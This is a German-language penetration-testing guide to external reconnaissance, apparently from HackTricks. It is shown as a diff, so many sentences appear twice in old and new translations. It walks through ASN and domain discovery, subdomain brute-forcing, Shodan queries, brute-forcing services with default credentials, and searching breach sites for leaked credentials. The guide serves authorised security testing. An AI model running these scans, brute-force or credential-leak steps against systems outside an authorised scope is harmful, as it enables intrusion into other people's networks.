> Ihnen wurde gesagt, dass alles, was zu einem Unternehmen gehört, im Geltungsbereich liegt, und Sie möchten herausfinden, was dieses Unternehmen tatsächlich besitzt.
Das Ziel dieser Phase ist es, alle **Unternehmen, die im Besitz des Hauptunternehmens sind**, und dann alle **Vermögenswerte** dieser Unternehmen zu ermitteln. Dazu werden wir:
1. Die Übernahmen des Hauptunternehmens finden, dies wird uns die Unternehmen im Geltungsbereich geben.
2. Die ASN (falls vorhanden) jedes Unternehmens finden, dies wird uns die IP-Bereiche geben, die jedem Unternehmen gehören.
3. Reverse-Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen).
3. Rückwärtige Whois-Abfragen verwenden, um nach anderen Einträgen (Organisationsnamen, Domains...) zu suchen, die mit dem ersten verbunden sind (dies kann rekursiv erfolgen).
4. Andere Techniken wie Shodan `org` und `ssl`-Filter verwenden, um nach anderen Vermögenswerten zu suchen (der `ssl`-Trick kann rekursiv durchgeführt werden).
### **Acquisitions**
### **Übernahmen**
Zunächst müssen wir wissen, welche **anderen Unternehmen im Besitz des Hauptunternehmens sind**.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach** dem **Hauptunternehmen** zu **suchen** und auf "**Übernahmen**" zu **klicken**. Dort sehen Sie andere Unternehmen, die von dem Hauptunternehmen übernommen wurden.\
Eine Möglichkeit besteht darin, [https://www.crunchbase.com/](https://www.crunchbase.com) zu besuchen, **nach dem Hauptunternehmen zu suchen** und auf "**Übernahmen**" zu **klicken**. Dort sehen Sie andere Unternehmen, die von dem Hauptunternehmen übernommen wurden.\
Eine andere Möglichkeit besteht darin, die **Wikipedia**-Seite des Hauptunternehmens zu besuchen und nach **Übernahmen** zu suchen.
> Ok, an diesem Punkt sollten Sie alle Unternehmen im Geltungsbereich kennen. Lassen Sie uns herausfinden, wie wir ihre Vermögenswerte finden können.
@ -27,14 +27,14 @@ Eine autonome Systemnummer (**ASN**) ist eine **eindeutige Nummer**, die einem *
Ein **AS** besteht aus **Blöcken** von **IP-Adressen**, die eine eindeutig definierte Richtlinie für den Zugriff auf externe Netzwerke haben und von einer einzigen Organisation verwaltet werden, aber aus mehreren Betreibern bestehen können.
Es ist interessant herauszufinden, ob das **Unternehmen eine ASN zugewiesen hat**, um seine **IP-Bereiche** zu finden. Es wäre interessant, einen **Sicherheitstest** gegen alle **Hosts** im **Geltungsbereich** durchzuführen und **nach Domains** innerhalb dieser IPs zu suchen.\
Sie können **nach** dem **Namen** des Unternehmens, nach **IP** oder nach **Domain** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
Sie können **nach dem Unternehmensnamen**, nach **IP** oder nach **Domain** in [**https://bgp.he.net/**](https://bgp.he.net)** suchen.**\
**Je nach Region des Unternehmens könnten diese Links nützlich sein, um weitere Daten zu sammeln:** [**AFRINIC**](https://www.afrinic.net) **(Afrika),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nordamerika),** [**APNIC**](https://www.apnic.net) **(Asien),** [**LACNIC**](https://www.lacnic.net) **(Lateinamerika),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Jedenfalls erscheinen wahrscheinlich alle** nützlichen Informationen **(IP-Bereiche und Whois)** bereits im ersten Link.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**** die ASNs am Ende des Scans automatisch zusammen.
Außerdem aggregiert und fasst die Subdomain-Enumeration von [**BBOT**](https://github.com/blacklanternsecurity/bbot)**'s** die ASNs am Ende des Scans automatisch zusammen.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -56,13 +56,13 @@ Sie können die IP und ASN einer Domain mit [http://ipv4info.com/](http://ipv4in
### **Auf der Suche nach Schwachstellen**
An diesem Punkt kennen wir **alle Vermögenswerte innerhalb des Umfangs**, also wenn Sie dazu berechtigt sind, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man mehrere mögliche Dienste testet.\
An diesem Punkt kennen wir **alle Vermögenswerte im Geltungsbereich**, also, wenn es Ihnen erlaubt ist, könnten Sie einige **Schwachstellenscanner** (Nessus, OpenVAS) über alle Hosts starten.\
Außerdem könnten Sie einige [**Port-Scans**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **starten oder Dienste wie** shodan **verwenden, um** offene Ports **zu finden, und je nachdem, was Sie finden, sollten Sie** in diesem Buch nachsehen, wie man verschiedene mögliche Dienste testet.\
**Es könnte auch erwähnenswert sein, dass Sie auch einige** Standardbenutzernamen **und** Passwortlisten **vorbereiten und versuchen können,** Dienste mit [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray) zu bruteforcen.
## Domains
> Wir kennen alle Unternehmen innerhalb des Umfangs und deren Vermögenswerte, es ist Zeit, die Domains innerhalb des Umfangs zu finden.
> Wir kennen alle Unternehmen im Geltungsbereich und deren Vermögenswerte, es ist Zeit, die Domains im Geltungsbereich zu finden.
_Bitte beachten Sie, dass Sie mit den folgenden vorgeschlagenen Techniken auch Subdomains finden können und diese Informationen nicht unterschätzt werden sollten._
@ -70,19 +70,19 @@ Zunächst sollten Sie nach der **Hauptdomain**(s) jedes Unternehmens suchen. Zum
### **Reverse DNS**
Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains innerhalb des Umfangs zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
Da Sie alle IP-Bereiche der Domains gefunden haben, könnten Sie versuchen, **Reverse-DNS-Abfragen** auf diesen **IPs durchzuführen, um weitere Domains im Geltungsbereich zu finden**. Versuchen Sie, einen DNS-Server des Opfers oder einen bekannten DNS-Server (1.1.1.1, 8.8.8.8) zu verwenden.
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Damit dies funktioniert, muss der Administrator manuell den PTR aktivieren.\
Für dies zu funktionieren, muss der Administrator manuell den PTR aktivieren.\
Sie können auch ein Online-Tool für diese Informationen verwenden: [http://ptrarchive.com/](http://ptrarchive.com)
### **Reverse Whois (loop)**
Innerhalb eines **whois** finden Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern... Aber was noch interessanter ist, ist, dass Sie **weitere Vermögenswerte, die mit dem Unternehmen verbunden sind**, finden können, wenn Sie **Reverse-Whois-Abfragen nach einem dieser Felder** durchführen (zum Beispiel andere Whois-Registrierungen, bei denen dieselbe E-Mail erscheint).\
Innerhalb eines **whois** finden Sie viele interessante **Informationen** wie **Organisationsname**, **Adresse**, **E-Mails**, Telefonnummern... Aber was noch interessanter ist, ist, dass Sie **weitere Vermögenswerte, die mit dem Unternehmen verbunden sind**, finden können, wenn Sie **Reverse-Whois-Suchen nach einem dieser Felder** durchführen (zum Beispiel andere Whois-Registrierungen, bei denen dieselbe E-Mail erscheint).\
Sie können Online-Tools wie verwenden:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Kostenlos**
@ -93,14 +93,14 @@ Sie können Online-Tools wie verwenden:
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Nicht kostenlos (nur **100 kostenlose** Suchen)
- [https://www.domainiq.com/](https://www.domainiq.com) - Nicht kostenlos
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen Whoxy-API-Schlüssel).\
Sie können diese Aufgabe automatisieren, indem Sie [**DomLink** ](https://github.com/vysecurity/DomLink) verwenden (benötigt einen WhoXY API-Schlüssel).\
Sie können auch einige automatische Reverse-Whois-Entdeckungen mit [amass](https://github.com/OWASP/Amass) durchführen: `amass intel -d tesla.com -whois`
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal, wenn Sie eine neue Domain finden, weitere Domainnamen zu entdecken.**
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal mehr Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
### **Trackers**
Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von **dem gleichen Team** verwaltet werden.\
Wenn Sie die **gleiche ID des gleichen Trackers** auf 2 verschiedenen Seiten finden, können Sie annehmen, dass **beide Seiten** von demselben Team **verwaltet werden**.\
Zum Beispiel, wenn Sie dieselbe **Google Analytics ID** oder dieselbe **Adsense ID** auf mehreren Seiten sehen.
Es gibt einige Seiten und Tools, die es Ihnen ermöglichen, nach diesen Trackern und mehr zu suchen:
@ -126,7 +126,7 @@ Darüber hinaus kannst du auch Technologien mithilfe des Favicon-Hashes suchen,
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
So können Sie den **Favicon-Hash** einer Website berechnen:
So können Sie den **Favicon-Hash** einer Website **berechnen**:
```python
import mmh3
import requests
@ -139,11 +139,11 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
### **Urheberrecht / Einzigartige Zeichenfolge**
### **Copyright / Uniq string**
Suchen Sie auf den Webseiten nach **Zeichenfolgen, die in verschiedenen Webseiten derselben Organisation geteilt werden könnten**. Die **Urheberrechtszeichenfolge** könnte ein gutes Beispiel sein. Suchen Sie dann nach dieser Zeichenfolge in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
Suchen Sie auf den Webseiten **Strings, die über verschiedene Webseiten in derselben Organisation geteilt werden könnten**. Der **Copyright-String** könnte ein gutes Beispiel sein. Suchen Sie dann nach diesem String in **Google**, in anderen **Browsern** oder sogar in **Shodan**: `shodan search http.html:"Copyright string"`
### **CRT-Zeit**
### **CRT Time**
Es ist üblich, einen Cron-Job zu haben, wie
```bash
@ -151,51 +151,51 @@ Es ist üblich, einen Cron-Job zu haben, wie
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
um alle Domainzertifikate auf dem Server zu erneuern. Das bedeutet, dass selbst wenn die CA, die dafür verwendet wird, die Zeit, zu der es generiert wurde, nicht in der Gültigkeitszeit festlegt, es möglich ist, **Domains zu finden, die zur gleichen Firma in den Zertifikatstransparenzprotokollen gehören**.\
Siehe diesen [**Artikel für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
Schau dir diesen [**Artikel für weitere Informationen**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/) an.
### Mail DMARC Informationen
Sie können eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) oder ein Tool wie [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) verwenden, um **Domains und Subdomains zu finden, die die gleichen DMARC-Informationen teilen**.
Du kannst eine Webseite wie [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) oder ein Tool wie [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) verwenden, um **Domains und Subdomains zu finden, die die gleichen DMARC-Informationen teilen**.
### **Passive Übernahme**
Es ist anscheinend üblich, dass Menschen Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher werden Sie durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
Es ist anscheinend üblich, dass Leute Subdomains IPs zuweisen, die zu Cloud-Anbietern gehören, und irgendwann **diese IP-Adresse verlieren, aber vergessen, den DNS-Eintrag zu entfernen**. Daher wirst du einfach durch **das Erstellen einer VM** in einer Cloud (wie Digital Ocean) tatsächlich **einige Subdomains übernehmen**.
[**Dieser Beitrag**](https://kmsec.uk/blog/passive-takeover/) erklärt eine Geschichte darüber und schlägt ein Skript vor, das **eine VM in DigitalOcean erstellt**, **die** **IPv4** der neuen Maschine **erhält** und **in Virustotal nach Subdomain-Einträgen** sucht, die darauf verweisen.
### **Andere Möglichkeiten**
**Beachten Sie, dass Sie diese Technik verwenden können, um jedes Mal mehr Domainnamen zu entdecken, wenn Sie eine neue Domain finden.**
**Beachte, dass du diese Technik verwenden kannst, um jedes Mal mehr Domainnamen zu entdecken, wenn du eine neue Domain findest.**
**Shodan**
Da Sie bereits den Namen der Organisation kennen, die den IP-Bereich besitzt, können Sie mit diesen Daten in Shodan suchen: `org:"Tesla, Inc."` Überprüfen Sie die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
Da du bereits den Namen der Organisation kennst, die den IP-Bereich besitzt, kannst du mit diesen Daten in Shodan suchen: `org:"Tesla, Inc."` Überprüfe die gefundenen Hosts auf neue unerwartete Domains im TLS-Zertifikat.
Sie könnten das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden.
Du könntest das **TLS-Zertifikat** der Hauptwebseite abrufen, den **Namen der Organisation** erhalten und dann nach diesem Namen in den **TLS-Zertifikaten** aller Webseiten suchen, die von **Shodan** bekannt sind, mit dem Filter: `ssl:"Tesla Motors"` oder ein Tool wie [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) verwenden.
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains verbunden sind**, ziemlich erstaunlich.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) ist ein Tool, das nach **Domains sucht, die mit einer Hauptdomain und deren Subdomains** verbunden sind, ziemlich erstaunlich.
### **Nach Schwachstellen suchen**
Überprüfen Sie einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **die Eigentümerschaft verloren**. Registrieren Sie sie einfach (wenn sie günstig genug ist) und informieren Sie das Unternehmen.
Überprüfe einige [Domainübernahmen](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Vielleicht verwendet ein Unternehmen **eine Domain**, hat aber **das Eigentum verloren**. Registriere sie einfach (wenn sie günstig genug ist) und informiere das Unternehmen.
Wenn Sie eine **Domain mit einer IP finden, die sich von den bereits in der Asset-Entdeckung gefundenen unterscheidet**, sollten Sie einen **einfachen Schwachstellenscan** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste ausgeführt werden, können Sie in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
_Beachten Sie, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, sodass sie nicht im Geltungsbereich liegt. Seien Sie vorsichtig._
Wenn du eine **Domain mit einer anderen IP** als den bereits in der Asset-Entdeckung gefundenen findest, solltest du einen **grundlegenden Schwachscann** (mit Nessus oder OpenVAS) und einen [**Portscan**](../pentesting-network/index.html#discovering-hosts-from-the-outside) mit **nmap/masscan/shodan** durchführen. Je nachdem, welche Dienste laufen, kannst du in **diesem Buch einige Tricks finden, um sie zu "angreifen"**.\
_Beachte, dass die Domain manchmal auf einer IP gehostet wird, die nicht vom Kunden kontrolliert wird, also ist sie nicht im Scope, sei vorsichtig._
## Subdomains
> Wir kennen alle Unternehmen im Geltungsbereich, alle Vermögenswerte jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind.
> Wir kennen alle Unternehmen im Scope, alle Assets jedes Unternehmens und alle Domains, die mit den Unternehmen verbunden sind.
Es ist an der Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
Es ist Zeit, alle möglichen Subdomains jeder gefundenen Domain zu finden.
> [!TIP]
> Beachten Sie, dass einige der Tools und Techniken zur Auffindung von Domains auch helfen können, Subdomains zu finden.
> Beachte, dass einige der Tools und Techniken zur Auffindung von Domains auch helfen können, Subdomains zu finden.
### **DNS**
Lassen Sie uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch einen **Zonenübertrag** versuchen (wenn anfällig, sollten Sie dies melden).
Lass uns versuchen, **Subdomains** aus den **DNS**-Einträgen zu erhalten. Wir sollten auch nach **Zonenübertragungen** suchen (wenn verwundbar, solltest du dies melden).
```bash
dnsrecon -a -d tesla.com
```
@ -302,7 +302,7 @@ shodan domain <domain>
# Get other pages with links to subdomains
shodan search "http.html:help.domain.com"
```
- [**Censys Subdomain Finder**](https://github.com/christophetd/censys-subdomain-finder)
- [**Censys Subdomain-Finder**](https://github.com/christophetd/censys-subdomain-finder)
```bash
export CENSYS_API_ID=...
export CENSYS_API_SECRET=...
@ -341,11 +341,11 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
- [**gobuster**](https://github.com/OJ/gobuster): Ich denke, dass dieser nur 1 Resolver verwendet.
- [**gobuster**](https://github.com/OJ/gobuster): Ich denke, dieser verwendet nur 1 Resolver.
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains mit aktivem Brute-Force zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) ist ein Wrapper um `massdns`, geschrieben in Go, der es Ihnen ermöglicht, gültige Subdomains durch aktives Brute-Forcing zu enumerieren sowie Subdomains mit Wildcard-Verarbeitung und einfacher Eingabe-Ausgabe-Unterstützung aufzulösen.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -361,11 +361,11 @@ aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
Nachdem Sie Subdomains mit offenen Quellen und Brute-Forcing gefunden haben, können Sie Variationen der gefundenen Subdomains generieren, um noch mehr zu finden. Mehrere Tools sind dafür nützlich:
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gegebene Domains und Subdomains generieren Permutationen.
- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Gegebenenfalls die Domains und Subdomains Permutationen generieren.
```bash
cat subdomains.txt | dnsgen -
```
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebene Domains und Subdomains Permutationen generieren.
- [**goaltdns**](https://github.com/subfinder/goaltdns): Gegebenen Domains und Subdomains Permutationen generieren.
- Sie können die **wordlist** von goaltdns **hier** erhalten: [**hier**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
@ -374,8 +374,8 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
- [**altdns**](https://github.com/infosec-au/altdns): Abgesehen von der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
- Sie können altdns-Permutationen **Wortliste** in [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
- [**altdns**](https://github.com/infosec-au/altdns): Neben der Generierung von Subdomain-Permutationen kann es auch versuchen, diese aufzulösen (aber es ist besser, die zuvor kommentierten Tools zu verwenden).
- Sie können die altdns-Permutationen **Wortliste** [**hier**](https://github.com/infosec-au/altdns/blob/master/words.txt) erhalten.
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
@ -385,23 +385,23 @@ altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basierend auf einer Domain **generiert es neue potenzielle Subdomänennamen** basierend auf angegebenen Mustern, um weitere Subdomänen zu entdecken.
- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Basierend auf einer Domain **generiert es neue potenzielle Subdomain-Namen** basierend auf angegebenen Mustern, um weitere Subdomains zu entdecken.
#### Intelligente Permutationsgenerierung
- [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Grunde die **Hauptteile** von den **entdeckten Subdomänen** extrahieren und sie mischen, um weitere Subdomänen zu finden.
- [**regulator**](https://github.com/cramppet/regulator): Für weitere Informationen lesen Sie diesen [**Beitrag**](https://cramppet.github.io/regulator/index.html), aber es wird im Grunde die **Hauptteile** von den **entdeckten Subdomains** extrahieren und sie mischen, um weitere Subdomains zu finden.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven DNS-Antwort-gesteuerten Algorithmus gekoppelt ist. Es nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Aufzeichnungen, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ ist ein Subdomain-Brute-Force-Fuzzer, der mit einem äußerst einfachen, aber effektiven, von DNS-Antworten geleiteten Algorithmus gekoppelt ist. Er nutzt einen bereitgestellten Satz von Eingabedaten, wie eine maßgeschneiderte Wortliste oder historische DNS/TLS-Daten, um genauere entsprechende Domainnamen zu synthetisieren und diese in einer Schleife basierend auf den während des DNS-Scans gesammelten Informationen weiter zu erweitern.
```
echo www | subzuf facebook.com
```
### **Subdomain Discovery Workflow**
Überprüfen Sie diesen Blogbeitrag, den ich über die **Automatisierung der Subdomain-Entdeckung** von einer Domain mit **Trickest-Workflows** geschrieben habe, damit ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
Überprüfen Sie diesen Blogbeitrag, den ich geschrieben habe, wie man die **Automatisierung der Subdomain-Entdeckung** von einer Domain mit **Trickest-Workflows** durchführt, sodass ich nicht manuell eine Reihe von Tools auf meinem Computer starten muss:
{{#ref}}
https://trickest.com/blog/full-subdomain-discovery-using-workflow/
@ -417,7 +417,7 @@ Wenn Sie eine IP-Adresse gefunden haben, die **eine oder mehrere Webseiten** von
#### OSINT
Sie können einige **VHosts in IPs finden, indem Sie** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder andere APIs** verwenden.
Sie können einige **VHosts in IPs finden mit** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **oder anderen APIs**.
**Brute Force**
@ -435,7 +435,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
> [!NOTE]
> [!TIP]
> Mit dieser Technik können Sie möglicherweise sogar auf interne/verborgene Endpunkte zugreifen.
### **CORS Brute Force**
@ -474,9 +474,9 @@ Sie können auch nach Domains suchen, die auf eine bestimmte IP-Adresse zeigen,
### **Auf der Suche nach Schwachstellen**
**Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). In den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
**Portscannen Sie alle IPs, die nicht zu CDNs gehören** (da Sie dort höchstwahrscheinlich nichts Interessantes finden werden). Bei den entdeckten laufenden Diensten könnten Sie **Schwachstellen finden**.
**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **darüber, wie man Hosts scannt.**
**Finden Sie einen** [**Leitfaden**](../pentesting-network/index.html) **zum Scannen von Hosts.**
## Webserver-Jagd
@ -518,7 +518,7 @@ Denken Sie daran, dass Sie bei der Suche nach Cloud-Ressourcen **mehr als nur Bu
### **Auf der Suche nach Schwachstellen**
Wenn Sie Dinge wie **offene Buckets oder exponierte Cloud-Funktionen** finden, sollten Sie **auf sie zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie missbrauchen können.
Wenn Sie Dinge wie **offene Buckets oder exponierte Cloud-Funktionen** finden, sollten Sie **darauf zugreifen** und versuchen zu sehen, was sie Ihnen bieten und ob Sie sie ausnutzen können.
## E-Mails
@ -535,7 +535,7 @@ E-Mails werden später nützlich sein, um **Web-Logins und Authentifizierungsdie
## Credential Leaks
Mit den **Domains,** **Subdomains** und **E-Mails** können Sie nach in der Vergangenheit geleakten Anmeldeinformationen suchen, die zu diesen E-Mails gehören:
Mit den **Domains,** **Subdomains** und **E-Mails** können Sie beginnen, nach in der Vergangenheit geleakten Anmeldeinformationen zu suchen, die zu diesen E-Mails gehören:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
@ -551,9 +551,9 @@ Credential Leaks stehen im Zusammenhang mit Hacks von Unternehmen, bei denen **s
### Github Leaks
Anmeldeinformationen und APIs könnten in den **öffentlichen Repositories** des **Unternehmens** oder der **Benutzer**, die für dieses Github-Unternehmen arbeiten, geleakt werden.\
Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um alle **öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber auszuführen.
Sie können das **Tool** [**Leakos**](https://github.com/carlospolop/Leakos) verwenden, um **alle öffentlichen Repos** einer **Organisation** und ihrer **Entwickler** herunterzuladen und automatisch [**gitleaks**](https://github.com/zricethezav/gitleaks) darüber auszuführen.
**Leakos** kann auch verwendet werden, um **gitleaks** gegen all den **Text** der **URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
**Leakos** kann auch verwendet werden, um **gitleaks** gegen alle **Text-URLs**, die ihm übergeben werden, auszuführen, da manchmal **Webseiten auch Geheimnisse enthalten**.
#### Github Dorks
@ -566,7 +566,7 @@ github-leaked-secrets.md
### Pastes Leaks
Manchmal werden Angreifer oder einfach Mitarbeiter **Unternehmensinhalte auf einer Paste-Seite veröffentlichen**. Dies könnte **sensible Informationen** enthalten oder auch nicht, aber es ist sehr interessant, danach zu suchen.\
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um gleichzeitig in mehr als 80 Paste-Seiten zu suchen.
Sie können das Tool [**Pastos**](https://github.com/carlospolop/Pastos) verwenden, um in mehr als 80 Paste-Seiten gleichzeitig zu suchen.
### Google Dorks
@ -580,7 +580,7 @@ Wenn Sie **gültige geleakte** Anmeldeinformationen oder API-Token finden, ist d
## Öffentliche Code-Schwachstellen
Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** darin suchen.
Wenn Sie festgestellt haben, dass das Unternehmen **Open-Source-Code** hat, können Sie ihn **analysieren** und nach **Schwachstellen** suchen.
**Je nach Sprache** gibt es verschiedene **Tools**, die Sie verwenden können:
@ -596,22 +596,22 @@ Es gibt auch kostenlose Dienste, die es Ihnen ermöglichen, **öffentliche Repos
Die **Mehrheit der Schwachstellen**, die von Bug-Huntern gefunden werden, befindet sich in **Webanwendungen**, daher möchte ich an dieser Stelle über eine **Testmethodik für Webanwendungen** sprechen, und Sie können [**diese Informationen hier finden**](../../network-services-pentesting/pentesting-web/index.html).
Ich möchte auch die Sektion [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) besonders erwähnen, da Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie jedoch nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
Ich möchte auch einen besonderen Hinweis auf den Abschnitt [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners) geben, da, auch wenn Sie nicht erwarten sollten, dass sie sehr sensible Schwachstellen finden, sie nützlich sind, um sie in **Workflows zu implementieren, um einige erste Webinformationen zu erhalten.**
## Rekapitulation
> Herzlichen Glückwunsch! An diesem Punkt haben Sie bereits **alle grundlegenden Enumeration** durchgeführt. Ja, es ist grundlegend, weil viel mehr Enumeration durchgeführt werden kann (wir werden später mehr Tricks sehen).
Sie haben also bereits:
Sie haben bereits:
1. Alle **Unternehmen** im Geltungsbereich gefunden
2. Alle **Assets** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
2. Alle **Ressourcen** gefunden, die zu den Unternehmen gehören (und einige Schwachstellenscans durchgeführt, wenn im Geltungsbereich)
